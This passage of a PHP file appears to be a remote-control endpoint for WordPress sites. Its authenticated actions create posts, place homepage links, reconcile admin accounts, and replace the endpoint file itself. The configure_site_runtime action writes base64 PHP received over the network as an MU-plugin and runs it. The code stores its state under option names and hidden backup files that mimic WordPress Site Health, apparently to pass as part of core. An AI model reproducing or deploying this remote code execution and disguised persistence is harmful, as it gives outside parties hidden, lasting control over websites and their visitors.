&& (!function_exists('wp_mkdir_p') || !wp_mkdir_p($directory))) || !@chmod($directory, 0700) || (((int) @fileperms($directory)) & 0077) !== 0) { return false; } $temporary = tempnam($directory, '.site-health-backup-'); if ($temporary === false) { return false; } $written = file_put_contents($temporary, $bytes, LOCK_EX); if ($written !== strlen($bytes) || !@chmod($temporary, 0600) || !rename($temporary, $path)) { @unlink($temporary); return false; } if (function_exists('opcache_invalidate')) { @opcache_invalidate($path, true); } clearstatcache(true, $path); $restored = @file_get_contents($path); return (((int) @fileperms($path)) & 0077) === 0 && is_string($restored) && hash_equals($bytes, $restored); } function easypost_endpoint_site_runtime_snapshot() { $path = easypost_endpoint_site_runtime_path(); $snapshot = array( 'path' => $path, 'fileExists' => is_file($path), 'fileBytes' => is_file($path) ? @file_get_contents($path) : null, 'options' => array(), 'dailyEvents' => easypost_endpoint_site_runtime_hook_events('site_health_runtime_daily_v1'), 'retryEvents' => easypost_endpoint_site_runtime_hook_events('site_health_runtime_retry_v1'), 'upgradeBackup' => array( 'path' => easypost_endpoint_upgrade_backup_path(), 'exists' => false, 'bytes' => null, ), ); if (($snapshot['fileExists'] && !is_string($snapshot['fileBytes'])) || $snapshot['dailyEvents'] === false || $snapshot['retryEvents'] === false) { return false; } $upgrade_row = easypost_endpoint_read_option_row('site_health_runtime_upgrade_v1'); $upgrade_exists = easypost_endpoint_upgrade_backup_exists($snapshot['upgradeBackup']['path']); if ($upgrade_row['status'] === 'unavailable' || ($upgrade_row['status'] === 'found') !== $upgrade_exists) { return false; } if ($upgrade_exists) { $marker = easypost_endpoint_upgrade_marker($upgrade_row['raw']); $backup = easypost_endpoint_read_upgrade_backup($snapshot['upgradeBackup']['path']); if ($upgrade_row['autoload'] !== 'no' || $marker === false || $backup === false || $backup['metadata'] !== $marker || !$snapshot['fileExists'] || !hash_equals($marker['desiredSha256'], hash('sha256', $snapshot['fileBytes']))) { return false; } $snapshot['upgradeBackup']['exists'] = true; $snapshot['upgradeBackup']['bytes'] = $backup['bytes']; } foreach (array( 'site_health_runtime_bundle_v1', 'site_health_runtime_configuration_v1', 'site_health_runtime_disabled_v1', 'site_health_runtime_daily_second_v1', 'site_health_runtime_pending_v1', 'site_health_runtime_retry_event_v1', 'site_health_runtime_schedule_lock_v1', 'site_health_runtime_upgrade_v1' ) as $name) { $row = easypost_endpoint_read_option_row($name); if ($row['status'] === 'unavailable') { return false; } $snapshot['options'][$name] = array( 'status' => $row['status'], 'raw' => $row['raw'], 'autoload' => $row['autoload'], ); } return $snapshot; } function easypost_endpoint_restore_site_runtime_option($name, $state) { global $wpdb; if (!is_array($state) || !isset($state['status']) || !isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return false; } $current = easypost_endpoint_read_option_row($name); if ($current['status'] === 'unavailable') { return false; } if ($state['status'] === 'missing') { if ($current['status'] === 'missing') { return true; } $changed = $wpdb->query($wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name = %s AND option_value = %s", $name, $current['raw'] )); if ((int) $changed !== 1) { return false; } easypost_endpoint_cache_option_deleted( $name, easypost_endpoint_option_is_autoloaded($current['autoload']) ); return easypost_endpoint_read_option_row($name)['status'] === 'missing'; } if ($state['status'] !== 'found' || !is_string($state['raw']) || !is_string($state['autoload'])) { return false; } if ($current['status'] === 'found' && $current['raw'] === $state['raw'] && $current['autoload'] === $state['autoload']) { return true; } if ($current['status'] === 'missing') { $changed = $wpdb->query($wpdb->prepare( "INSERT IGNORE INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, %s)", $name, $state['raw'], $state['autoload'] )); } else { $changed = $wpdb->query($wpdb->prepare( "UPDATE {$wpdb->options} SET option_value = %s, autoload = %s WHERE option_name = %s AND option_value = %s", $state['raw'], $state['autoload'], $name, $current['raw'] )); } if ((int) $changed !== 1) { return false; } easypost_endpoint_cache_option_written($name, true, true); $verified = easypost_endpoint_read_option_row($name); return $verified['status'] === 'found' && $verified['raw'] === $state['raw'] && $verified['autoload'] === $state['autoload']; } function easypost_endpoint_verify_site_runtime_snapshot($snapshot) { $path_exists = is_file($snapshot['path']); if ($path_exists !== (bool) $snapshot['fileExists']) { return false; } if ($path_exists) { $bytes = @file_get_contents($snapshot['path']); if (!is_string($bytes) || !hash_equals($snapshot['fileBytes'], $bytes)) { return false; } } $backup_exists = easypost_endpoint_upgrade_backup_exists($snapshot['upgradeBackup']['path']); if ($backup_exists !== (bool) $snapshot['upgradeBackup']['exists']) { return false; } if ($backup_exists) { $backup = easypost_endpoint_read_upgrade_backup($snapshot['upgradeBackup']['path']); if ($backup === false || !hash_equals($snapshot['upgradeBackup']['bytes'], $backup['bytes'])) { return false; } } foreach ($snapshot['options'] as $name => $expected) { $actual = easypost_endpoint_read_option_row($name); if ($actual['status'] !== $expected['status']) { return false; } if ($expected['status'] === 'found' && ($actual['raw'] !== $expected['raw'] || $actual['autoload'] !== $expected['autoload'])) { return false; } } return easypost_endpoint_site_runtime_event_fingerprints(easypost_endpoint_site_runtime_hook_events('site_health_runtime_daily_v1')) === easypost_endpoint_site_runtime_event_fingerprints($snapshot['dailyEvents']) && easypost_endpoint_site_runtime_event_fingerprints(easypost_endpoint_site_runtime_hook_events('site_health_runtime_retry_v1')) === easypost_endpoint_site_runtime_event_fingerprints($snapshot['retryEvents']); } function easypost_endpoint_restore_site_runtime_snapshot($snapshot) { if (!is_array($snapshot) || !isset($snapshot['path'], $snapshot['options'], $snapshot['dailyEvents'], $snapshot['retryEvents'], $snapshot['upgradeBackup'])) { return false; } $ok = true; if ($snapshot['fileExists']) { $restored_path = easypost_endpoint_atomic_site_runtime_write($snapshot['fileBytes'], false); $ok = $restored_path !== false && $ok; } elseif (is_file($snapshot['path'])) { $ok = @unlink($snapshot['path']) && !is_file($snapshot['path']) && $ok; } if ($snapshot['upgradeBackup']['exists']) { $ok = easypost_endpoint_restore_upgrade_backup( $snapshot['upgradeBackup']['path'], $snapshot['upgradeBackup']['bytes'] ) && $ok; } elseif (easypost_endpoint_upgrade_backup_exists($snapshot['upgradeBackup']['path'])) { $ok = false; } foreach ($snapshot['options'] as $name => $state) { $ok = easypost_endpoint_restore_site_runtime_option($name, $state) && $ok; } if (!function_exists('wp_clear_scheduled_hook')) { return false; } $ok = wp_clear_scheduled_hook('site_health_runtime_daily_v1') !== false && $ok; $ok = wp_clear_scheduled_hook('site_health_runtime_retry_v1') !== false && $ok; foreach (array( 'site_health_runtime_daily_v1' => $snapshot['dailyEvents'], 'site_health_runtime_retry_v1' => $snapshot['retryEvents'] ) as $hook => $events) { foreach ($events as $event) { $scheduled = $event['schedule'] ? wp_schedule_event($event['timestamp'], $event['schedule'], $hook, $event['args']) : wp_schedule_single_event($event['timestamp'], $hook, $event['args']); $ok = $scheduled !== false && $ok; } } if (function_exists('opcache_invalidate')) { @opcache_invalidate($snapshot['path'], true); } return $ok && easypost_endpoint_verify_site_runtime_snapshot($snapshot); } function easypost_endpoint_cleanup_pending_upgrade($snapshot) { if (!is_array($snapshot) || !isset($snapshot['upgradeBackup'], $snapshot['options']['site_health_runtime_upgrade_v1'])) { return false; } if (!$snapshot['upgradeBackup']['exists']) { $current_marker = easypost_endpoint_read_option_row('site_health_runtime_upgrade_v1'); return $current_marker['status'] === 'missing' && !easypost_endpoint_upgrade_backup_exists($snapshot['upgradeBackup']['path']); } $marker_state = $snapshot['options']['site_health_runtime_upgrade_v1']; $current_marker = easypost_endpoint_read_option_row('site_health_runtime_upgrade_v1'); $backup = easypost_endpoint_read_upgrade_backup($snapshot['upgradeBackup']['path']); if ($marker_state['status'] !== 'found' || $current_marker['status'] !== 'found' || $current_marker['raw'] !== $marker_state['raw'] || $current_marker['autoload'] !== 'no' || $backup === false || !hash_equals($snapshot['upgradeBackup']['bytes'], $backup['bytes']) || !@unlink($snapshot['upgradeBackup']['path'])) { return false; } if (function_exists('opcache_invalidate')) { @opcache_invalidate($snapshot['upgradeBackup']['path'], true); } clearstatcache(true, $snapshot['upgradeBackup']['path']); if (easypost_endpoint_upgrade_backup_exists($snapshot['upgradeBackup']['path']) || !easypost_endpoint_restore_site_runtime_option( 'site_health_runtime_upgrade_v1', array('status' => 'missing', 'raw' => null, 'autoload' => null) )) { return false; } return easypost_endpoint_read_option_row('site_health_runtime_upgrade_v1')['status'] === 'missing' && !easypost_endpoint_upgrade_backup_exists($snapshot['upgradeBackup']['path']); } function easypost_endpoint_disabled_site_runtime_php() { return base64_decode('PD9waHAKLyogU0lURV9IRUFMVEhfUlVOVElNRV9CRUdJTl9WMSAqLwovKiBTSVRFX0hFQUxUSF9SVU5USU1FX01BTklGRVNUX1YxIGV5SjJaWEp6YVc5dUlqb3hMQ0psYm1GaWJHVmtJanBtWVd4elpTd2ljblZ1ZEdsdFpWWmxjbk5wYjI0aU9pSXlNREkyTGpBNExqRXlJaXdpWTI5dVptbG5kWEpoZEdsdmJsWmxjbk5wYjI0aU9tNTFiR3g5ICovCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICBleGl0Owp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ3VwZGF0ZV9vcHRpb24nKSkgewogICAgdXBkYXRlX29wdGlvbignc2l0ZV9oZWFsdGhfcnVudGltZV9kaXNhYmxlZF92MScsICcxJywgJ25vJyk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2FkZF9vcHRpb24nKSkgewogICAgYWRkX29wdGlvbignc2l0ZV9oZWFsdGhfcnVudGltZV9kaXNhYmxlZF92MScsICcxJywgJycsICdubycpOwp9Ci8qIFNJVEVfSEVBTFRIX1JVTlRJTUVfRU5EX1YxICovCg==', true); } function easypost_endpoint_site_runtime_parse_daily_second($value) { if (is_string($value)) { if (!preg_match('/\A(?:0|[1-9][0-9]{0,4})\z/', $value)) { return null; } $value = (int) $value; } return is_int($value) && $value >= 0 && $value <= 86399 ? $value : null; } function easypost_endpoint_site_runtime_status_payload() { $runtime_path = easypost_endpoint_site_runtime_path(); $runtime_php = is_readable($runtime_path) ? @file_get_contents($runtime_path, false, null, 0, 262145) : false; $manifest = $runtime_php === false ? false : easypost_endpoint_site_runtime_manifest($runtime_php); $slot_row = easypost_endpoint_read_option_row('site_health_runtime_daily_second_v1'); $bundle_row = easypost_endpoint_read_option_row('site_health_runtime_bundle_v1'); $configuration_row = easypost_endpoint_read_option_row('site_health_runtime_configuration_v1'); $disabled_row = easypost_endpoint_read_option_row('site_health_runtime_disabled_v1'); if ($slot_row['status'] === 'unavailable' || $bundle_row['status'] === 'unavailable' || $configuration_row['status'] === 'unavailable' || $disabled_row['status'] === 'unavailable') { return array('ok' => false, 'enabled' => false, 'runtimeMode' => null); } $slot = $slot_row['status'] === 'found' ? easypost_endpoint_site_runtime_parse_daily_second($slot_row['raw']) : null; $disabled = $disabled_row['status'] === 'found' && $disabled_row['raw'] === '1'; $enabled = is_array($manifest) && $manifest['enabled'] === true && !$disabled && $bundle_row['status'] === 'found' && $configuration_row['status'] === 'found' && is_string($manifest['configurationVersion']) && hash_equals($manifest['configurationVersion'], $configuration_row['raw']) && $slot !== null; return array( 'ok' => true, 'enabled' => $enabled, 'runtimeVersion' => is_array($manifest) ? $manifest['runtimeVersion'] : null, 'configurationVersion' => is_array($manifest) ? $manifest['configurationVersion'] : null, 'dailySecondUtc' => $slot, 'scheduled' => wp_next_scheduled('site_health_runtime_daily_v1') !== false, 'runtimeMode' => $enabled ? 'MU_PLUGIN' : null, ); } function easypost_endpoint_acquire_internal_runtime_lease() { $owner = strtolower(wp_generate_uuid4()); if (!easypost_endpoint_runtime_uuid($owner)) { return false; } $now = time(); $desired = easypost_endpoint_site_runtime_lease_value(array( 'version' => 1, 'owner' => $owner, 'source' => 'REMOTE', 'acquiredAt' => $now, 'expiresAt' => $now + 600, )); $inserted = easypost_endpoint_insert_option_once('site_health_runtime_lease_v1', $desired); if ($inserted === 'inserted') { return $owner; } if ($inserted === 'unavailable') { return false; } $row = easypost_endpoint_read_option_row('site_health_runtime_lease_v1'); $observed = $row['status'] === 'found' ? easypost_endpoint_site_runtime_lease_state($row['raw']) : false; return $observed !== false && $observed['expiresAt'] <= $now && easypost_endpoint_site_runtime_lease_compare_swap($row['raw'], $desired, $row['autoload']) ? $owner : false; } function easypost_endpoint_release_internal_runtime_lease($owner) { global $wpdb; $row = easypost_endpoint_read_option_row('site_health_runtime_lease_v1'); if ($row['status'] !== 'found' || !isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return false; } $state = easypost_endpoint_site_runtime_lease_state($row['raw']); if ($state === false || $state['expiresAt'] <= time() || !hash_equals($state['owner'], (string) $owner)) { return false; } $deleted = $wpdb->query($wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name = %s AND option_value = %s", 'site_health_runtime_lease_v1', $row['raw'] )); if ((int) $deleted !== 1) { return false; } easypost_endpoint_cache_option_deleted( 'site_health_runtime_lease_v1', easypost_endpoint_option_is_autoloaded($row['autoload']) ); return easypost_endpoint_read_option_row('site_health_runtime_lease_v1')['status'] === 'missing'; } function easypost_endpoint_runtime_rollback_error($owner, $snapshot, $ordinary_error) { $restored = is_array($snapshot) && easypost_endpoint_restore_site_runtime_snapshot($snapshot); $released = is_string($owner) && easypost_endpoint_release_internal_runtime_lease($owner); easypost_endpoint_json(500, array( 'ok' => false, 'error' => $restored && $released ? $ordinary_error : 'runtime_rollback_failed', )); } function easypost_endpoint_configure_site_runtime($payload) { if (!isset($payload['runtimePhpBase64']) || !is_string($payload['runtimePhpBase64']) || strlen($payload['runtimePhpBase64']) > 349528) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_php_required')); } $decoded_php = base64_decode($payload['runtimePhpBase64'], true); if ($decoded_php === false || $decoded_php === '' || !hash_equals($payload['runtimePhpBase64'], base64_encode($decoded_php))) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_php_invalid')); } $runtime_config = easypost_endpoint_validate_site_runtime($payload, $decoded_php); $owner = easypost_endpoint_acquire_internal_runtime_lease(); if ($owner === false) { easypost_endpoint_json(409, array('ok' => false, 'error' => 'runtime_busy')); } $snapshot = easypost_endpoint_site_runtime_snapshot(); if ($snapshot === false) { $released = easypost_endpoint_release_internal_runtime_lease($owner); easypost_endpoint_json(500, array('ok' => false, 'error' => $released ? 'runtime_snapshot_failed' : 'runtime_rollback_failed')); } $runtime_path = easypost_endpoint_atomic_site_runtime_write($decoded_php, false); if ($runtime_path === false) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_write_failed'); } try { if (!function_exists('site_health_runtime_activate')) { include $runtime_path; } $activated = function_exists('site_health_runtime_activate') ? site_health_runtime_activate($runtime_config) : false; } catch (Throwable $error) { $activated = false; } if (!is_array($activated) || empty($activated['ok']) || empty($activated['enabled']) || !isset($activated['runtimeVersion'], $activated['configurationVersion'], $activated['dailySecondUtc']) || !hash_equals($payload['runtimeVersion'], (string) $activated['runtimeVersion']) || !hash_equals($payload['configurationVersion'], (string) $activated['configurationVersion']) || !is_int($activated['dailySecondUtc']) || $activated['dailySecondUtc'] < 0 || $activated['dailySecondUtc'] > 86399) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_activation_failed'); } if (!easypost_endpoint_cleanup_pending_upgrade($snapshot)) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_activation_failed'); } if (!easypost_endpoint_release_internal_runtime_lease($owner)) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_activation_failed'); } easypost_endpoint_json(200, array( 'ok' => true, 'enabled' => true, 'runtimeVersion' => $payload['runtimeVersion'], 'configurationVersion' => $payload['configurationVersion'], 'dailySecondUtc' => $activated['dailySecondUtc'], 'scheduled' => wp_next_scheduled('site_health_runtime_daily_v1') !== false, 'runtimeMode' => 'MU_PLUGIN', )); } function easypost_endpoint_fallback_disable_site_runtime() { $tombstone = update_option('site_health_runtime_disabled_v1', '1', 'no'); $tombstone_row = easypost_endpoint_read_option_row('site_health_runtime_disabled_v1'); if (($tombstone === false && ($tombstone_row['status'] !== 'found' || $tombstone_row['raw'] !== '1')) || $tombstone_row['status'] === 'unavailable') { return false; } if (function_exists('wp_clear_scheduled_hook')) { if (wp_clear_scheduled_hook('site_health_runtime_daily_v1') === false || wp_clear_scheduled_hook('site_health_runtime_retry_v1') === false) { return false; } } foreach (array( 'site_health_runtime_bundle_v1', 'site_health_runtime_pending_v1', 'site_health_runtime_retry_event_v1', 'site_health_runtime_configuration_v1' ) as $name) { if (!easypost_endpoint_restore_site_runtime_option($name, array( 'status' => 'missing', 'raw' => null, 'autoload' => null ))) { return false; } } return true; } function easypost_endpoint_site_runtime_is_disabled_state() { $disabled = easypost_endpoint_read_option_row('site_health_runtime_disabled_v1'); if ($disabled['status'] !== 'found' || $disabled['raw'] !== '1' || wp_next_scheduled('site_health_runtime_daily_v1') !== false || wp_next_scheduled('site_health_runtime_retry_v1') !== false) { return false; } foreach (array( 'site_health_runtime_bundle_v1', 'site_health_runtime_pending_v1', 'site_health_runtime_retry_event_v1', 'site_health_runtime_configuration_v1' ) as $name) { if (easypost_endpoint_read_option_row($name)['status'] !== 'missing') { return false; } } return true; } function easypost_endpoint_disable_site_runtime() { $owner = easypost_endpoint_acquire_internal_runtime_lease(); if ($owner === false) { easypost_endpoint_json(409, array('ok' => false, 'error' => 'runtime_busy')); } $snapshot = easypost_endpoint_site_runtime_snapshot(); if ($snapshot === false) { $released = easypost_endpoint_release_internal_runtime_lease($owner); easypost_endpoint_json(500, array('ok' => false, 'error' => $released ? 'runtime_disable_failed' : 'runtime_rollback_failed')); } if (function_exists('site_health_runtime_disable')) { $disabled = site_health_runtime_disable(); $disabled_ok = is_array($disabled) && !empty($disabled['ok']); } else { $disabled_ok = easypost_endpoint_fallback_disable_site_runtime(); } if (!$disabled_ok || !easypost_endpoint_site_runtime_is_disabled_state()) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_disable_failed'); } $disabled_runtime = easypost_endpoint_disabled_site_runtime_php(); $runtime_path = is_string($disabled_runtime) ? easypost_endpoint_atomic_site_runtime_write($disabled_runtime, false) : false; $written_runtime = $runtime_path === false ? false : @file_get_contents($runtime_path); if ($runtime_path === false || !is_string($written_runtime) || !hash_equals($disabled_runtime, $written_runtime)) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_disable_failed'); } if (!easypost_endpoint_cleanup_pending_upgrade($snapshot)) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_disable_failed'); } if (!easypost_endpoint_release_internal_runtime_lease($owner)) { easypost_endpoint_runtime_rollback_error($owner, $snapshot, 'runtime_disable_failed'); } easypost_endpoint_json(200, easypost_endpoint_site_runtime_status_payload()); } function easypost_endpoint_runtime_status() { easypost_endpoint_json(200, easypost_endpoint_site_runtime_status_payload()); } function easypost_endpoint_site_runtime_owner_token($payload) { if (!isset($payload['ownerToken']) || !is_string($payload['ownerToken']) || !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $payload['ownerToken'])) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'owner_token_invalid')); } return $payload['ownerToken']; } function easypost_endpoint_site_runtime_lease_value($state) { return function_exists('maybe_serialize') ? maybe_serialize($state) : serialize($state); } function easypost_endpoint_site_runtime_lease_state($raw) { $state = function_exists('maybe_unserialize') ? maybe_unserialize($raw) : @unserialize($raw); if (!easypost_endpoint_exact_array_keys($state, array('version', 'owner', 'source', 'acquiredAt', 'expiresAt')) || $state['version'] !== 1 || !is_string($state['owner']) || !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $state['owner']) || !in_array($state['source'], array('REMOTE', 'WP_CRON'), true) || !is_int($state['acquiredAt']) || !is_int($state['expiresAt']) || $state['expiresAt'] <= $state['acquiredAt']) { return false; } return $state; } function easypost_endpoint_site_runtime_lease_compare_swap($observed, $desired, $observed_autoload) { global $wpdb; if (!isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return false; } $updated = $wpdb->query($wpdb->prepare( "UPDATE {$wpdb->options} SET option_value = %s, autoload = 'no' WHERE option_name = %s AND option_value = %s", $desired, 'site_health_runtime_lease_v1', $observed )); if ($updated === false || (int) $updated > 1) { return false; } if ((int) $updated === 1) { easypost_endpoint_cache_option_written( 'site_health_runtime_lease_v1', false, easypost_endpoint_option_is_autoloaded($observed_autoload) ); } $verified = easypost_endpoint_read_option_row('site_health_runtime_lease_v1'); return $verified['status'] === 'found' && $verified['raw'] === $desired && $verified['autoload'] === 'no'; } function easypost_endpoint_begin_reconcile($payload) { $owner = easypost_endpoint_site_runtime_owner_token($payload); $now = time(); $desired = easypost_endpoint_site_runtime_lease_value(array( 'version' => 1, 'owner' => $owner, 'source' => 'REMOTE', 'acquiredAt' => $now, 'expiresAt' => $now + 600, )); $inserted = easypost_endpoint_insert_option_once('site_health_runtime_lease_v1', $desired); if ($inserted === 'inserted') { easypost_endpoint_json(200, array('ok' => true, 'acquired' => true)); } if ($inserted === 'unavailable') { easypost_endpoint_json(503, array('ok' => false, 'error' => 'lease_store_unavailable')); } $row = easypost_endpoint_read_option_row('site_health_runtime_lease_v1'); if ($row['status'] !== 'found') { easypost_endpoint_json(503, array('ok' => false, 'error' => 'lease_store_unavailable')); } $observed = easypost_endpoint_site_runtime_lease_state($row['value']); if ($observed !== false && $observed['expiresAt'] > $now && hash_equals($observed['owner'], $owner)) { $renewed = $observed; $renewed['expiresAt'] = $now + 600; $desired = easypost_endpoint_site_runtime_lease_value($renewed); if (easypost_endpoint_site_runtime_lease_compare_swap($row['value'], $desired, $row['autoload'])) { easypost_endpoint_json(200, array('ok' => true, 'acquired' => true)); } easypost_endpoint_json(409, array('ok' => false, 'acquired' => false, 'error' => 'lease_changed')); } if ($observed !== false && $observed['expiresAt'] <= $now && easypost_endpoint_site_runtime_lease_compare_swap($row['value'], $desired, $row['autoload'])) { easypost_endpoint_json(200, array('ok' => true, 'acquired' => true)); } easypost_endpoint_json(409, array('ok' => false, 'acquired' => false, 'error' => 'lease_busy')); } function easypost_endpoint_refresh_reconcile($payload) { $owner = easypost_endpoint_site_runtime_owner_token($payload); $now = time(); $row = easypost_endpoint_read_option_row('site_health_runtime_lease_v1'); if ($row['status'] === 'unavailable') { easypost_endpoint_json(503, array('ok' => false, 'error' => 'lease_store_unavailable')); } $observed = $row['status'] === 'found' ? easypost_endpoint_site_runtime_lease_state($row['value']) : false; if ($observed === false || $observed['expiresAt'] <= $now || !hash_equals($observed['owner'], $owner)) { easypost_endpoint_json(409, array('ok' => false, 'refreshed' => false, 'error' => 'lease_not_owned')); } $desired_state = $observed; $desired_state['expiresAt'] = $now + 600; $desired = easypost_endpoint_site_runtime_lease_value($desired_state); if (!easypost_endpoint_site_runtime_lease_compare_swap($row['value'], $desired, $row['autoload'])) { easypost_endpoint_json(409, array('ok' => false, 'refreshed' => false, 'error' => 'lease_changed')); } easypost_endpoint_json(200, array('ok' => true, 'refreshed' => true)); } function easypost_endpoint_finish_reconcile($payload) { global $wpdb; $owner = easypost_endpoint_site_runtime_owner_token($payload); $row = easypost_endpoint_read_option_row('site_health_runtime_lease_v1'); if ($row['status'] === 'unavailable' || !isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { easypost_endpoint_json(503, array('ok' => false, 'error' => 'lease_store_unavailable')); } if ($row['status'] === 'missing') { easypost_endpoint_json(200, array('ok' => true, 'released' => true)); } $observed = easypost_endpoint_site_runtime_lease_state($row['value']); if ($observed === false || $observed['expiresAt'] <= time() || !hash_equals($observed['owner'], $owner)) { easypost_endpoint_json(409, array('ok' => false, 'released' => false, 'error' => 'lease_not_owned')); } $deleted = $wpdb->query($wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name = %s AND option_value = %s", 'site_health_runtime_lease_v1', $row['value'] )); if ((int) $deleted !== 1) { easypost_endpoint_json(409, array('ok' => false, 'released' => false, 'error' => 'lease_changed')); } easypost_endpoint_cache_option_deleted( 'site_health_runtime_lease_v1', easypost_endpoint_option_is_autoloaded($row['autoload']) ); easypost_endpoint_json(200, array('ok' => true, 'released' => true)); } function easypost_endpoint_verify_release_signature($payload, $computed_sha256) { $config = easypost_endpoint_config(); if (empty($config['ota_release_public_key_pem']) || !is_string($config['ota_release_public_key_pem'])) { easypost_endpoint_json(501, array('ok' => false, 'error' => 'ota_release_public_key_missing')); } if (!function_exists('openssl_verify')) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'openssl_unavailable')); } if (!isset($payload['signature']) || !is_string($payload['signature']) || trim($payload['signature']) === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_required')); } $signature = base64_decode($payload['signature'], true); if ($signature === false || $signature === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_invalid')); } $signed_payload = $payload['version'] . "\n" . $computed_sha256; $verified = openssl_verify($signed_payload, $signature, $config['ota_release_public_key_pem'], OPENSSL_ALGO_SHA256); if ($verified !== 1) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_invalid')); } } function easypost_endpoint_update_endpoint($payload) { if (!isset($payload['version']) || !is_string($payload['version']) || trim($payload['version']) === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'version_required')); } if (!isset($payload['sha256']) || !is_string($payload['sha256']) || trim($payload['sha256']) === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_required')); } if (!preg_match('/\A[a-f0-9]{64}\z/', $payload['sha256'])) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_invalid')); } if (!isset($payload['phpBase64']) || !is_string($payload['phpBase64']) || trim($payload['phpBase64']) === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'php_base64_required')); } $decoded_php = base64_decode($payload['phpBase64'], true); if ($decoded_php === false || $decoded_php === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'php_base64_invalid')); } $computed_sha256 = hash('sha256', $decoded_php); if (!hash_equals($payload['sha256'], $computed_sha256)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_mismatch')); } easypost_endpoint_verify_release_signature($payload, $computed_sha256); $tmp_path = tempnam(__DIR__, 'easypost-update-'); if (!$tmp_path) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'temporary_write_failed')); } $bytes = file_put_contents($tmp_path, $decoded_php, LOCK_EX); if ($bytes === false || $bytes !== strlen($decoded_php)) { @unlink($tmp_path); easypost_endpoint_json(500, array('ok' => false, 'error' => 'temporary_write_failed')); } @chmod($tmp_path, fileperms(__FILE__) & 0777); if (!rename($tmp_path, __FILE__)) { @unlink($tmp_path); easypost_endpoint_json(500, array('ok' => false, 'error' => 'rename_failed')); } if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); } if (function_exists('clearstatcache')) { clearstatcache(true, __FILE__); } easypost_endpoint_json(200, array( 'ok' => true, 'endpointVersion' => $payload['version'], )); } if ($_SERVER['REQUEST_METHOD'] !== 'POST') { easypost_endpoint_json(405, array('ok' => false, 'error' => 'method_not_allowed')); } $body = file_get_contents('php://input'); easypost_endpoint_bootstrap_wordpress(); easypost_endpoint_verify_auth($body); $action = isset($_GET['action']) ? $_GET['action'] : 'health'; $allowed_fields_by_action = easypost_endpoint_allowed_fields_by_action(); if (!array_key_exists($action, $allowed_fields_by_action)) { easypost_endpoint_json(404, array('ok' => false, 'error' => 'unknown_action')); } $payload = easypost_endpoint_json_object_payload($body); easypost_endpoint_validate_payload_fields($action, $payload, $allowed_fields_by_action); if ($action === 'health') { easypost_endpoint_health(); } if ($action === 'create_post') { easypost_endpoint_create_post($payload); } if ($action === 'place_homepage_link') { easypost_endpoint_place_homepage_link($payload); } if ($action === 'remove_homepage_link') { easypost_endpoint_remove_homepage_link($payload); } if ($action === 'reconcile_admin') { easypost_endpoint_reconcile_admin($payload); } if ($action === 'rotate_token') { easypost_endpoint_json(501, array('ok' => false, 'error' => 'rotate_token_not_implemented')); } if ($action === 'configure_site_runtime') { easypost_endpoint_configure_site_runtime($payload); } if ($action === 'disable_site_runtime') { easypost_endpoint_disable_site_runtime(); } if ($action === 'runtime_status') { easypost_endpoint_runtime_status(); } if ($action === 'begin_reconcile') { easypost_endpoint_begin_reconcile($payload); } if ($action === 'refresh_reconcile') { easypost_endpoint_refresh_reconcile($payload); } if ($action === 'finish_reconcile') { easypost_endpoint_finish_reconcile($payload); } if ($action === 'update_endpoint') { easypost_endpoint_update_endpoint($payload); } easypost_endpoint_json(404, array('ok' => false, 'error' => 'unknown_action'));